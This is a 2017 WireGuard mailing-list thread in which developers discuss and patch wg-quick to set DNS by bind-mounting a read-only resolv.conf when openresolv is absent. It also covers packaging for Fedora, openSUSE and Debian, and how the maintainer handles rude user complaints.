Fixing wg-quick's DNS= directive with a hatchet

Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hi,

A sensible way to manage DNS on a distribution is via openresolv's
resolvconf(8) [1]. Various networking utilities can call resolvconf
with various arguments, and resolvconf will handle everything.

Resolvconf offers two useful options: metric via -m and exclusive via
-x. The metric options imply controls the order of entries in the
subsequent /etc/resolv.conf. The exclusive option sets the provided
nameserver to be the _only_ one listed in /etc/resolv.conf. This
general system works great and is what wg-quick(8) uses at the moment.

Debian (and by extension Ubuntu), however, ship with a butchered
resolvconf [2] that silently ignores the -m and -x options. Instead,
Debian's resolvconf orders the entries of /etc/resolv.conf according
to some pre-defined interface naming heuristics, and does not allow
for an exclusive mode at all. wg-quick thus uses openresolv's -m 0 and
-x arguments, described above, but does so for an interface called
"tun.wg0". The "tun." prefix tricks Debian's resolvconf into ordering
WireGuard entries first, but still not exclusively.

Meanwhile, Fedora does not ship resolvconf at all, and instead either
uses NetworkManager or dhclient-script, depending on the configuration
of a variable inside of some file in /etc/sysconfig/network-scripts/.
I haven't really looked at how to coherently interface with all the
possibilities, and I'm kind of reluctant to look.

So I have three options: 1) require openresolv, 2) punt the issue to
distro package managers, by making wg-quick "source" a file in
/usr/lib/wg-quick/dns.bash that provides the distro-specific
DNS-setting function, or 3) the hatchet, described below.

Before I describe the hatchet, though, it might be worthwhile to
remind ourselves of the three goals of DNS setting in this
environment: a) be the exclusive DNS entry, b) restore the previous
settings when the wireguard interface is removed, and c) not allow
other things on the system (like roving dhcp daemons) to overwrite our
settings.

The hatchet works as follows. On interface addition:

# echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0
# [ -f /etc/resolv.conf ] || touch /etc/resolv.conf
# mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf
# unlink /etc/resolv.conf.wg-quick.wg0

On interface removal:

# umount /etc/resolv.conf

This achieves all goals. Goal (a) is achieved because we're mounting
over the existing /etc/resolv.conf, so we blow away old entries. Goal
(b) is achieved because unmounting reveals the original file just
below it. Goal (c) is achieved because we're mounting as read-only; we
can't even remove the file without unmounting.

So, I'm leaning over going with (3) the hatchet rather than (2) the
distros, because I think this will likely work more universally.
However, it's a hatchet. And hatchets have sharp dangerous blades, and
Linux is not the rewarding bush terrain of Gary Paulsen.

Can anybody think of any potential issues with this?

Thanks,
Jason


[1] https://roy.marples.name/projects/openresolv
[2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860564

Re: Fixing wg-quick's DNS= directive with a hatchet

[Kalin KOZHUHAROV]

On Thu, Oct 26, 2017 at 12:43 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote:
> The hatchet works as follows. On interface addition:
>
> # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0
> # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf
> # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf
> # unlink /etc/resolv.conf.wg-quick.wg0
>
> On interface removal:
>
> # umount /etc/resolv.conf
>
O, I love it! (didn't know you can --bind mount to a file, BTW)

I am sure someone will scream along the way, so jut document it and
put a short notice in a comment inside /etc/resolv.conf as to what is
going on.
And make it optional for people who (pretend to) have control over
their systems.

And can you briefly remind me why do you need to bother with the
resolv settings?
May be this is only valid for "use-only-VPN", e.g. laptop in China?

> Can anybody think of any potential issues with this?
>
* See if there is another mount, before doing it, i.e. check for the
hatchet before using it?
* Not sure anyone will hit the corner case of needing to umount /etc
while wireguard is running, but who knows.

Cheers,
Kalin.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 1:37 AM, Kalin KOZHUHAROV <me.kalin@gmail.com> wrote:
> And can you briefly remind me why do you need to bother with the
> resolv settings?
> May be this is only valid for "use-only-VPN", e.g. laptop in China?

Sometimes people use a VPN to access an intranet with its own naming
scheme. For example, when you're at my house, if you do a DNS lookup
for "thinkpad", you get my laptop. When I wireguard in from the road,
sometimes I'll do things like `ssh odroid`, which uses my home
resolver to get the home IP of my odroid. This is possible because I
have `DNS = 10.0.0.8` or whatever in my wireguard config file.

> * See if there is another mount, before doing it, i.e. check for the
> hatchet before using it?

I guess the idea here is that since unmounting can only be done in
reverse order, yet removing interfaces can be done in any order,
allowing multiply-stacked resolv.conf mounts would fail to unwind in
the correct way. That makes sense.

Fortunately, by calling `unlink(2)` on the file after I bind mount it,
subsequent bind mounts on top fail to work, because they can't resolve
that dentry any more. The underlying reasoning behind that is caught
up in the insane fs/namespace.c voodoo magic that probably only Al
Viro understands.

> * Not sure anyone will hit the corner case of needing to umount /etc
> while wireguard is running, but who knows.

That's a good point.

Another potential snag:

- If other daemons try to update the old file while it's being mounted
over, it won't be able to be updated, so when the user finally
unmounts when removing the wireguard interface, the resolv.conf could
be stale. Probably this isn't a real concern, but it is a possibility.

[PATCH] wg-quick: use bind mount for DNS when no openresolv

[Jason A. Donenfeld]

Posting this to the mailing list for review. Based on the thread
entitled, "Fixing wg-quick's DNS= directive with a hatchet". Comments
are very welcome.

---
 src/tools/wg-quick.bash | 28 +++++++++++++++++++++++++---
 1 file changed, 25 insertions(+), 3 deletions(-)

diff --git a/src/tools/wg-quick.bash b/src/tools/wg-quick.bash
index def78af..2fc19f1 100755
--- a/src/tools/wg-quick.bash
+++ b/src/tools/wg-quick.bash
@@ -131,11 +131,33 @@ set_mtu() {
 }
 
 set_dns() {
-	[[ ${#DNS[@]} -eq 0 ]] || printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "tun.$INTERFACE" -m 0 -x
+	[[ ${#DNS[@]} -gt 0 ]] || return 0
+
+	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
+		printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x
+	else
+		local our_resolv="/etc/resolv.conf.wg-quick.$INTERFACE"
+		[[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf
+		{ echo "# This file was generated by wg-quick(8) for use with"
+		  echo "# the WireGuard interface $INTERFACE. It cannot be"
+		  echo "# removed or altered directly. You may remove this file"
+		  echo "# by running \`wg-quick down $INTERFACE\`, or if that"
+		  echo "# poses problems, run \`unmount /etc/resolv.conf\`."
+		  printf 'nameserver %s\n' "${DNS[@]}"
+		} > "$our_resolv"
+		cmd mount -Br "$our_resolv" /etc/resolv.conf || { unlink "$our_resolv"; false; }
+		unlink "$our_resolv"
+	fi
 }
 
 unset_dns() {
-	[[ ${#DNS[@]} -eq 0 ]] || cmd resolvconf -d "tun.$INTERFACE"
+	[[ ${#DNS[@]} -gt 0 ]] || return 0
+
+	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
+		cmd resolvconf -d "$INTERFACE"
+	else
+		cmd umount /etc/resolv.conf
+	fi
 }
 
 add_route() {
@@ -254,8 +276,8 @@ cmd_down() {
 	[[ " $(wg show interfaces) " == *" $INTERFACE "* ]] || die "\`$INTERFACE' is not a WireGuard interface"
 	execute_hooks "${PRE_DOWN[@]}"
 	[[ $SAVE_CONFIG -eq 0 ]] || save_config
-	unset_dns
 	del_if
+	unset_dns
 	execute_hooks "${POST_DOWN[@]}"
 }
 
-- 
2.14.2

Re: [PATCH] wg-quick: use bind mount for DNS when no openresolv

[Kalin KOZHUHAROV]

Just nitpicking on your spellchecker...

On Thu, Oct 26, 2017 at 3:32 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote:
> +                 echo "# poses problems, run \`unmount /etc/resolv.conf\`."
should be
+                 echo "# poses problems, run \`umount /etc/resolv.conf\`."

Kalin.

Re: [PATCH] wg-quick: use bind mount for DNS when no openresolv

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 3:53 AM, Kalin KOZHUHAROV <me.kalin@gmail.com> wrote:
> Just nitpicking on your spellchecker...

Thanks!

[PATCH v2] wg-quick: use bind mount for DNS when no openresolv

[Jason A. Donenfeld]

Version 2 uses the mount namespace trick, so that we don't leave
anything dangling under any circumstances, and chroot envrionments still
have the ability to bind mount /etc/resolv.conf to their chroots.

---
 src/tools/wg-quick.bash | 40 +++++++++++++++++++++++++++++++++++++---
 1 file changed, 37 insertions(+), 3 deletions(-)

diff --git a/src/tools/wg-quick.bash b/src/tools/wg-quick.bash
index def78af..b6903ec 100755
--- a/src/tools/wg-quick.bash
+++ b/src/tools/wg-quick.bash
@@ -83,6 +83,7 @@ add_if() {
 
 del_if() {
 	local fwmark
+	[[ $HAVE_SET_DNS -eq 0 ]] || unset_dns
 	fwmark="$(wg show "$INTERFACE" fwmark)"
 	DEFAULT_TABLE=0
 	[[ $fwmark != off ]] && DEFAULT_TABLE=$(( fwmark ))
@@ -130,12 +131,45 @@ set_mtu() {
 	cmd ip link set mtu $(( mtu - 80 )) dev "$INTERFACE"
 }
 
+HAVE_SET_DNS=0
 set_dns() {
-	[[ ${#DNS[@]} -eq 0 ]] || printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "tun.$INTERFACE" -m 0 -x
+	[[ ${#DNS[@]} -gt 0 ]] || return 0
+
+	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
+		printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x
+	else
+		echo "[#] mount \`${DNS[*]}' /etc/resolv.conf" >&2
+		[[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf
+		{ cat <<-_EOF
+			# This file was generated by wg-quick(8) for use with
+			# the WireGuard interface $INTERFACE. It cannot be
+			# removed or altered directly. You may remove this file
+			# by running \`wg-quick down $INTERFACE', or if that
+			# poses problems, run \`umount /etc/resolv.conf'.
+
+		_EOF
+		printf 'nameserver %s\n' "${DNS[@]}"
+		} | unshare -m --propagation shared bash -c "$(cat <<-_EOF
+			set -e
+			mount --make-private /tmp
+			mount -t tmpfs none /tmp
+			cat > /tmp/resolv.conf
+			mount -o remount,ro /tmp
+			mount -B /tmp/resolv.conf /etc/resolv.conf
+		_EOF
+		)"
+	fi
+	HAVE_SET_DNS=1
 }
 
 unset_dns() {
-	[[ ${#DNS[@]} -eq 0 ]] || cmd resolvconf -d "tun.$INTERFACE"
+	[[ ${#DNS[@]} -gt 0 ]] || return 0
+
+	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
+		cmd resolvconf -d "$INTERFACE"
+	else
+		cmd umount /etc/resolv.conf
+	fi
 }
 
 add_route() {
@@ -254,8 +288,8 @@ cmd_down() {
 	[[ " $(wg show interfaces) " == *" $INTERFACE "* ]] || die "\`$INTERFACE' is not a WireGuard interface"
 	execute_hooks "${PRE_DOWN[@]}"
 	[[ $SAVE_CONFIG -eq 0 ]] || save_config
-	unset_dns
 	del_if
+	unset_dns
 	execute_hooks "${POST_DOWN[@]}"
 }
 
-- 
2.14.2

Re: Fixing wg-quick's DNS= directive with a hatchet

[Eric Light]

It looks ... really elegant to me.  That said, it could end up being
super confusing.  I definitely second Kalin's comments about adding a
comment header to /etc/resolv.conf.wg-quick.wg0

I was going to ask about unlinking, but you've addressed that in your
follow-up.

All that's left is for me to hat-tip your Paulsen reference.  I still
have that book at home, probably been 20 years since I've read it. 
Linux certainly has an abundance of porcupines buried in the terrain.

E

--------------------------------------------
Q: Why is this email five sentences or less?
A: http://five.sentenc.es

On Thu, 26 Oct 2017, at 11:43, Jason A. Donenfeld wrote:
> Hi,
> 
> A sensible way to manage DNS on a distribution is via openresolv's
> resolvconf(8) [1]. Various networking utilities can call resolvconf
> with various arguments, and resolvconf will handle everything.
> 
> Resolvconf offers two useful options: metric via -m and exclusive via
> -x. The metric options imply controls the order of entries in the
> subsequent /etc/resolv.conf. The exclusive option sets the provided
> nameserver to be the _only_ one listed in /etc/resolv.conf. This
> general system works great and is what wg-quick(8) uses at the moment.
> 
> Debian (and by extension Ubuntu), however, ship with a butchered
> resolvconf [2] that silently ignores the -m and -x options. Instead,
> Debian's resolvconf orders the entries of /etc/resolv.conf according
> to some pre-defined interface naming heuristics, and does not allow
> for an exclusive mode at all. wg-quick thus uses openresolv's -m 0 and
> -x arguments, described above, but does so for an interface called
> "tun.wg0". The "tun." prefix tricks Debian's resolvconf into ordering
> WireGuard entries first, but still not exclusively.
> 
> Meanwhile, Fedora does not ship resolvconf at all, and instead either
> uses NetworkManager or dhclient-script, depending on the configuration
> of a variable inside of some file in /etc/sysconfig/network-scripts/.
> I haven't really looked at how to coherently interface with all the
> possibilities, and I'm kind of reluctant to look.
> 
> So I have three options: 1) require openresolv, 2) punt the issue to
> distro package managers, by making wg-quick "source" a file in
> /usr/lib/wg-quick/dns.bash that provides the distro-specific
> DNS-setting function, or 3) the hatchet, described below.
> 
> Before I describe the hatchet, though, it might be worthwhile to
> remind ourselves of the three goals of DNS setting in this
> environment: a) be the exclusive DNS entry, b) restore the previous
> settings when the wireguard interface is removed, and c) not allow
> other things on the system (like roving dhcp daemons) to overwrite our
> settings.
> 
> The hatchet works as follows. On interface addition:
> 
> # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0
> # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf
> # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf
> # unlink /etc/resolv.conf.wg-quick.wg0
> 
> On interface removal:
> 
> # umount /etc/resolv.conf
> 
> This achieves all goals. Goal (a) is achieved because we're mounting
> over the existing /etc/resolv.conf, so we blow away old entries. Goal
> (b) is achieved because unmounting reveals the original file just
> below it. Goal (c) is achieved because we're mounting as read-only; we
> can't even remove the file without unmounting.
> 
> So, I'm leaning over going with (3) the hatchet rather than (2) the
> distros, because I think this will likely work more universally.
> However, it's a hatchet. And hatchets have sharp dangerous blades, and
> Linux is not the rewarding bush terrain of Gary Paulsen.
> 
> Can anybody think of any potential issues with this?
> 
> Thanks,
> Jason
> 
> 
> [1] https://roy.marples.name/projects/openresolv
> [2] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=860564
> _______________________________________________
> WireGuard mailing list
> WireGuard@lists.zx2c4.com
> https://lists.zx2c4.com/mailman/listinfo/wireguard

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 4:54 AM, Eric Light <eric@ericlight.com> wrote:
> It looks ... really elegant to me.  That said, it could end up being
> super confusing.  I definitely second Kalin's comments about adding a
> comment header to /etc/resolv.conf.wg-quick.wg0

I thought it was a good suggestion too, so I implemented it. Here's
what it looks like:

zx2c4@thinkpad ~ $ wg-quick up martino
[#] ip link add martino type wireguard
[#] wg setconf martino /dev/fd/63
[#] ip address add 10.10.11.100/32 dev martino
[#] ip link set mtu 1420 dev martino
[#] ip link set martino up
[#] mount -Br /etc/resolv.conf.wg-quick.martino /etc/resolv.conf
[#] wg set martino fwmark 51820
[#] ip -4 route add 0.0.0.0/0 dev martino table 51820
[#] ip -4 rule add not fwmark 51820 table 51820
[#] ip -4 rule add table main suppress_prefixlength 0

zx2c4@thinkpad ~ $ cat /etc/resolv.conf
# This file was generated by wg-quick(8) for use with
# the WireGuard interface martino. It cannot be
# removed or altered directly. You may remove this file
# by running `wg-quick down martino`, or if that
# poses problems, run `umount /etc/resolv.conf`.
nameserver 10.10.11.1

zx2c4@thinkpad ~ $ wg-quick down martino
[#] ip -4 rule delete table 51820
[#] ip -4 rule delete table main suppress_prefixlength 0
[#] ip link delete dev martino
[#] umount /etc/resolv.conf

> All that's left is for me to hat-tip your Paulsen reference.  I still
> have that book at home, probably been 20 years since I've read it.
> Linux certainly has an abundance of porcupines buried in the terrain.

:) Must have read it at least ten times as a kid...

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Thu, Oct 26, 2017 at 12:43 AM, Jason A. Donenfeld <Jason@zx2c4.com> wrote:
> The hatchet works as follows. On interface addition:
>
> # echo nameserver 1.2.3.4 > /etc/resolv.conf.wg-quick.wg0
> # [ -f /etc/resolv.conf ] || touch /etc/resolv.conf
> # mount -o ro --bind /etc/resolv.conf.wg-quick.wg0 /etc/resolv.conf
> # unlink /etc/resolv.conf.wg-quick.wg0
>
> On interface removal:
>
> # umount /etc/resolv.conf

Alternative version:

echo nameserver 1.2.3.4 | unshare -m --propagation shared sh -c "mount
--make-private /tmp && mount -t tmpfs none /tmp && cat >
/tmp/resolv.conf && mount -o remount,ro /tmp && mount -B
/tmp/resolv.conf /etc/resolv.conf"

This has the advantage of not using any disk temporary files or
creating dangling inodes, and it means that users can still bind mount
/etc/resolv.conf to other places, such as when they enter a chroot,
which is usually important to allow. The one maybe disadvantage is
that it still allows for people binding _on top_ of /etc/resolv.conf,
which may or may not be a good thing.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Joe Doss]

On 10/25/2017 05:43 PM, Jason A. Donenfeld wrote:
> Meanwhile, Fedora does not ship resolvconf at all, and instead either
> uses NetworkManager or dhclient-script, depending on the configuration
> of a variable inside of some file in/etc/sysconfig/network-scripts/.
> I haven't really looked at how to coherently interface with all the
> possibilities, and I'm kind of reluctant to look.

The most likely best long term solution for this problem, at least for 
Fedora (and other distros that use NetworkManager), is to create a 
WireGuard NetworkManager plugin similar to the OpenVPN plugin.

https://src.fedoraproject.org/git/rpms/NetworkManager-openvpn.git
https://git.gnome.org/browse/network-manager-openvpn

This way we are not fighting with NetworkManager over control over the 
resolv.conf file and we integrate with the desktop well.

The hatchet proposal sounds fine for a short term solution, but if 
WireGuard is to replace something like OpenVPN we will need to drink the 
distro koolaid on how VPN services are managed on the desktop.

Joe



--
Joe Doss
joe@solidadmin.com

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hi Joe,

Indeed you're right. A systemd-networkd integration is in progress. A
student (CCd) has several times promised to write a networkmanager
plugin, but has continually flaked out, so still no progress there. If
somebody else on this list is interested in doing that, that'd be
nice.

Jason

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hi Joe & Martin,

The latest proposal for what we're discussing lives here:
https://git.zx2c4.com/WireGuard/commit/?h=jd/dns-hatchet

> The hatchet proposal sounds fine for a short term solution,

The Debian maintainer of WireGuard has been talking me out of doing
this. If I don't ship the hatchet, the solution will be:

- Things work fine on
arch/gentoo/nix/slackware/void/alpine/exherbo/freebsd/netbsd/normallinuxdistros.
- DNS entries aren't exclusive but otherwise work on debian/ubuntu, if
the debian resolvconf is installed rather than openresolv.
- Everything is broken on Fedora (and OpenSUSE?), where there's no
openresolv or resolvconf of any kind.

In other words, the situation is split down the traditional lines of
the linux distro political landscape. Most distros do the sensible
thing. Debian does something bizarre and different but that is vaguely
compatible though not entirely. Redhat holds out in favor of
systemdnetworkmanagerblabla rather than going with the established
standard.

So, if I don't ship the hatchet, then I'll leave it to you to handle
making things not totally fail in Fedora, as they do now. Is this
okay? You could choose to fix this by just shipping the hatchet patch
yourself. Or you could try to integrate things a bit deeper with
whatever networkmanagersystemdresolveddhclientscript situation is
being used there. (Probably the hatchet is a bit easier though.) What
would you think of doing that?

Regards,
Jason

Re: Fixing wg-quick's DNS= directive with a hatchet

[Martin Hauke]

Hi Jason,

On Thu, Oct 26, 2017 at 11:22:42PM +0200, Jason A. Donenfeld wrote:
> The latest proposal for what we're discussing lives here:
> https://git.zx2c4.com/WireGuard/commit/?h=jd/dns-hatchet
> 
> > The hatchet proposal sounds fine for a short term solution,

I also like this approach.

> The Debian maintainer of WireGuard has been talking me out of doing
> this. If I don't ship the hatchet, the solution will be:
> 
> - Things work fine on
> arch/gentoo/nix/slackware/void/alpine/exherbo/freebsd/netbsd/normallinuxdistros.
> - DNS entries aren't exclusive but otherwise work on debian/ubuntu, if
> the debian resolvconf is installed rather than openresolv.
> - Everything is broken on Fedora (and OpenSUSE?), where there's no
> openresolv or resolvconf of any kind.

SUSE/openSUSE also does not ship resolvconf/openresolvconf so it's also
affected.

> In other words, the situation is split down the traditional lines of
> the linux distro political landscape. Most distros do the sensible
> thing. Debian does something bizarre and different but that is vaguely
> compatible though not entirely. Redhat holds out in favor of
> systemdnetworkmanagerblabla rather than going with the established
> standard.

SUSE has it's own system called netconfig for handling changes to the
name resolution.

https://github.com/openSUSE/sysconfig/blob/master/doc/README.netconfig
https://github.com/openSUSE/sysconfig/blob/master/doc/netconfig.8

For the interface-handling SUSE is using wicked:
https://github.com/openSUSE/wicked
https://doc.opensuse.org/documentation/leap/reference/html/book.opensuse.reference/cha.basicnet.html#sec.basicnet.nameres
https://www.suse.com/documentation/sles-12/book_sle_admin/data/sec_basicnet_manconf.html

The long term solution should be a proper integration into these frameworks.
That's also something on my personal TODO-list since some time :-)

I also have to speak with some SUSE-people since I remember
discussions some of the functions of netconfig should be replaced with
someting else (maybe even systemd).

> So, if I don't ship the hatchet, then I'll leave it to you to handle
> making things not totally fail in Fedora, as they do now. Is this
> okay? You could choose to fix this by just shipping the hatchet patch
> yourself. Or you could try to integrate things a bit deeper with
> whatever networkmanagersystemdresolveddhclientscript situation is
> being used there. (Probably the hatchet is a bit easier though.) What
> would you think of doing that?

Shipping the hatchet will give the affected distributions some time
for a proper distro-specific integration.

best regards,
Martin

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

Hi Martin,

Specifically what I'm asking you is: would you be willing to ship the
hatchet as a _patch_ to wg(8) just for your OpenSUSE package?

Jason

Re: Fixing wg-quick's DNS= directive with a hatchet

[Joe Doss]

On 10/26/2017 04:22 PM, Jason A. Donenfeld wrote:
> So, if I don't ship the hatchet, then I'll leave it to you to handle
> making things not totally fail in Fedora, as they do now. Is this
> okay? You could choose to fix this by just shipping the hatchet patch
> yourself. Or you could try to integrate things a bit deeper with
> whatever networkmanagersystemdresolveddhclientscript situation is
> being used there. (Probably the hatchet is a bit easier though.) What
> would you think of doing that?

I feel this is OK since any WG users at this point are going to accept 
their fate that not all features are going to work correctly. I would 
like to accept the networkmanagersystemdresolveddhclientscript physical 
challenge and try and see if there is some better way to integrate 
things in Fedora before having to ship patches in the RPM to shoehorn 
things in place.

Joe





--
Joe Doss
joe@solidadmin.com

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Fri, Oct 27, 2017 at 4:47 PM, Joe Doss <joe@solidadmin.com> wrote:
> I feel this is OK since any WG users at this point are going to accept their
> fate that not all features are going to work correctly. I would like to
> accept the networkmanagersystemdresolveddhclientscript physical challenge
> and try and see if there is some better way to integrate things in Fedora
> before having to ship patches in the RPM to shoehorn things in place.

So on one hand, you're fine with me shipping the hatchet, but you
aren't [yet?] okay with the RPM-itself shipping the hatchet, because
you'd like to find a more proper solution. This indicates to me that I
shouldn't ship the hatchet myself then.

You wrote, "WG users at this point are going to accept their fate that
not all features are going to work correctly." Actually, no. Firstly,
I'm not up for shipping broken software, and it's not okay with me to
have distros ship things broken, because they think that's somehow
fine and users will put up with it. Secondly, I've received enormous
quantities of hate email from Fedora users, which is what's prompted
this whole thread in the first place. So, no -- for the next snapshot
packaging, I'd like for there to be a solution to make things work. If
you can solve the physical challenge, great. If not, hatchet?

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Fri, Oct 27, 2017 at 4:51 PM, Jason A. Donenfeld <Jason@zx2c4.com> wrote:
> Secondly, I've received enormous
> quantities of hate email from Fedora users, which is what's prompted
> this whole thread in the first place.

Here's one from a few days ago if you're curious:

>
> wg-quick doesn't work in Fedora because resolvconf command not found. Your buggy bullshit sucks.
>
> - Rodney
>

I don't even... Are they serious? Who knows, but I've gotten a lot of
these, some via IRC, some sent to team@wireguard.com. Kind of
disheartening to receive, but at least their complaints, however rude,
are something addressable with technical fixes.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Joe Doss]

On 10/27/2017 10:02 AM, Jason A. Donenfeld wrote:
> Here's one from a few days ago if you're curious:
> 
>> wg-quick doesn't work in Fedora because resolvconf command not found. Your buggy bullshit sucks.
>>
>> - Rodney
>>
> I don't even... Are they serious? Who knows, but I've gotten a lot of
> these, some via IRC, some sent toteam@wireguard.com. Kind of
> disheartening to receive, but at least their complaints, however rude,
> are something addressable with technical fixes.

Yeaaaa, that's not cool. Rodney is an asshole and if he doesn't like 
your free opensource buggy software he can us something else.

Joe




--
Joe Doss
joe@solidadmin.com

Re: Fixing wg-quick's DNS= directive with a hatchet

[Bruno Wolff III]

On Fri, Oct 27, 2017 at 17:02:55 +0200,
  "Jason A. Donenfeld" <Jason@zx2c4.com> wrote:
>
>I don't even... Are they serious? Who knows, but I've gotten a lot of
>these, some via IRC, some sent to team@wireguard.com. Kind of
>disheartening to receive, but at least their complaints, however rude,
>are something addressable with technical fixes.

I'm a Fedora user and I find WireGuard very useful. I have found you to 
be extremely responseful. I've reported incompatibilities with new 
development kernels that I don't have the skill to resolve myself and 
had fixes from you in less than an hour. That's crazy good support.

Re: Fixing wg-quick's DNS= directive with a hatchet

[Joe Doss]

On 10/27/2017 09:51 AM, Jason A. Donenfeld wrote:
> So on one hand, you're fine with me shipping the hatchet, but you
> aren't [yet?] okay with the RPM-itself shipping the hatchet, because
> you'd like to find a more proper solution. This indicates to me that I
> shouldn't ship the hatchet myself then.
> 
> You wrote, "WG users at this point are going to accept their fate that
> not all features are going to work correctly." Actually, no. Firstly,
> I'm not up for shipping broken software, and it's not okay with me to
> have distros ship things broken, because they think that's somehow
> fine and users will put up with it. Secondly, I've received enormous
> quantities of hate email from Fedora users, which is what's prompted
> this whole thread in the first place. So, no -- for the next snapshot
> packaging, I'd like for there to be a solution to make things work. If
> you can solve the physical challenge, great. If not, hatchet?

Don't let small amount of WG users that are rude and ignorant push the 
project around. It's not the project's fault that they don't understand 
how to install resolvconf or manage their own DNS if wg-quick doesn't 
work. This isn't me saying that we shouldn't make it better. We should 
and we will. It is just going to take time.

If you feel this is super important and you want to ship a hacky 
solution to fix then do it. It's your project. That's why I said I was 
fine with it. It's a temp solution for a problem that needs a lot more 
packaging and dev time to fix correctly for every distro.

WireGuard is not 1.0 software. You say that on every snapshot release. 
If users can't read that and understand that not all features of the 
software are going to be where they need to be, then they shouldn't be 
using it. This isn't me saying you need to accept or be OK with shipping 
broken software. This is just a pain point for some users, so lets 
invest the time to figure out what the best solution is and make it 
happen. When I use WireGuard I never use wg-quick that's probably why I 
never even noticed it was broken on my Fedora workstations. I set WG up 
manually with my own scripts and I manage my own DNS because I don't 
have a fancy NetworkManager drop down in GNOME to do it for me... at 
least not yet. ;)

With that all said, I don't think the hatchet solution is great. It's 
going to cause more confusion that it is worth long term, but if you 
feel you need to have this issue fixed because users are super 
frustrated then do it for now and we can fix it later with the right way 
to do things in Fedora.

Joe





--
Joe Doss
joe@solidadmin.com

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

On Fri, Oct 27, 2017 at 5:38 PM, Joe Doss <joe@solidadmin.com> wrote:
>
> Don't let small amount of WG users that are rude and ignorant push the
> project around. It's not the project's fault that they don't understand how
> to install resolvconf or manage their own DNS if wg-quick doesn't work. This
> isn't me saying that we shouldn't make it better. We should and we will. It
> is just going to take time.

Actually, the problem is that there's no resolvconf of any kind on
Fedora, and this is what wg-quick uses. Thus wg-quick doesn't work
with Fedora, yet we ship packages for Fedora with wg-quick. So:
there's a problem that we need to work out. I take responsibility for
it and I don't blame the users.

> If you feel this is super important and you want to ship a hacky solution to
> fix then do it.
> It's a temp solution for a problem that needs a lot more packaging and dev
> time to fix correctly for every distro.

Alright. So in that case, I guess ship the hatchet as a patch in the
RPM, and later when you have time, you can investigate if there's
actually a proper Fedora way of doing things. Likewise Martin can do
the same with OpenSUSE.

(Daniel and Egbert seem mostly okay with the butchered resolvconf in
their distros; at least they don't see any reason to change things,
since it mostly works, and users there at least have the choice of
somehow installing openresolv need be.)

> I
> manage my own DNS because I don't have a fancy NetworkManager drop down in
> GNOME to do it for me... at least not yet. ;)

Sounds like a fun project coming up...

> With that all said, I don't think the hatchet solution is great.
> have this issue fixed because users are super frustrated then do it for
> now and we can fix it later with the right way to do things in Fedora.

I suppose that's the plan then!

Re: Fixing wg-quick's DNS= directive with a hatchet

[Jason A. Donenfeld]

[-- Attachment #1: Type: text/plain, Size: 244 bytes --]

Okay, so, in the rpm spec, you can patch wg-quick.bash before the make install.

sed -n -i -e '/^cmd_usage()/r path/to/hatchet.bash' -e 1x -e
'2,${x;p}' -e '${x;p}' path/to/src/tools/wg-quick.bash

This is using the attached hatchet.bash file.

[-- Attachment #2: hatchet.bash --]
[-- Type: application/octet-stream, Size: 1139 bytes --]

set_dns() {
	[[ ${#DNS[@]} -gt 0 ]] || return 0

	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
		printf 'nameserver %s\n' "${DNS[@]}" | cmd resolvconf -a "$INTERFACE" -m 0 -x
	else
		echo "[#] mount \`${DNS[*]}' /etc/resolv.conf" >&2
		[[ -e /etc/resolv.conf ]] || touch /etc/resolv.conf
		{ cat <<-_EOF
			# This file was generated by wg-quick(8) for use with
			# the WireGuard interface $INTERFACE. It cannot be
			# removed or altered directly. You may remove this file
			# by running \`wg-quick down $INTERFACE', or if that
			# poses problems, run \`umount /etc/resolv.conf'.

		_EOF
		printf 'nameserver %s\n' "${DNS[@]}"
		} | unshare -m --propagation shared bash -c "$(cat <<-_EOF
			set -e
			mount --make-private /dev/shm
			mount -t tmpfs none /dev/shm
			cat > /dev/shm/resolv.conf
			mount -o remount,ro /dev/shm
			mount -o bind,ro /dev/shm/resolv.conf /etc/resolv.conf
		_EOF
		)"
	fi
	HAVE_SET_DNS=1
}

unset_dns() {
	[[ ${#DNS[@]} -gt 0 ]] || return 0

	if [[ $(resolvconf --version 2>/dev/null) == openresolv\ * ]]; then
		cmd resolvconf -d "$INTERFACE"
	else
		cmd umount /etc/resolv.conf
	fi
}

